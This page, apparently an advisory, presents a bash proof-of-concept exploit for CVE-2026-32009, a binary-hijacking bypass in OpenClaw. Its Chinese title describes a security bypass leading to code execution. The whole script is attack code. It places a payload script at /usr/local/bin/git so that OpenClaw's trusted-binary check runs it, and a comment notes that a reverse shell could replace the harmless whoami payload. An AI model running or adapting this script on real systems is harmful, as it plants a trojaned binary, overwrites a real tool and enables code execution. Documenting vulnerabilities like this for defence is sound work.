CVE-2026-32009 OpenClaw安全绕过致代码执行

#!/bin/bash # PoC for CVE-2026-32009: OpenClaw Binary Hijacking # Assumption: Attacker has write access to /usr/local/bin # Target: Hijacking a common binary like 'git' which OpenClaw might trust. TARGET_BINARY="git" TRUSTED_DIR="/usr/local/bin" MALICIOUS_PAYLOAD="/tmp/evil_payload.sh" # 1. Create a malicious payload (e.g., reverse shell or command execution) echo "#!/bin/bash" > $MALICIOUS_PAYLOAD echo "echo 'CVE-2026-32009 Exploit Executed'" >> $MALICIOUS_PAYLOAD echo "whoami" >> $MALICIOUS_PAYLOAD chmod +x $MALICIOUS_PAYLOAD # 2. Copy the malicious payload to the trusted directory with the target name # This assumes the target binary does not already exist or is not strictly path-resolved against specific hashes cp $MALICIOUS_PAYLOAD $TRUSTED_DIR/$TARGET_BINARY # 3. Wait for or trigger OpenClaw to execute the trusted binary # OpenClaw checks /usr/local/bin/git -> matches safeBins -> executes malicious payload echo "Malicious binary placed at $TRUSTED_DIR/$TARGET_BINARY" echo "Trigger OpenClaw execution to observe the bypass."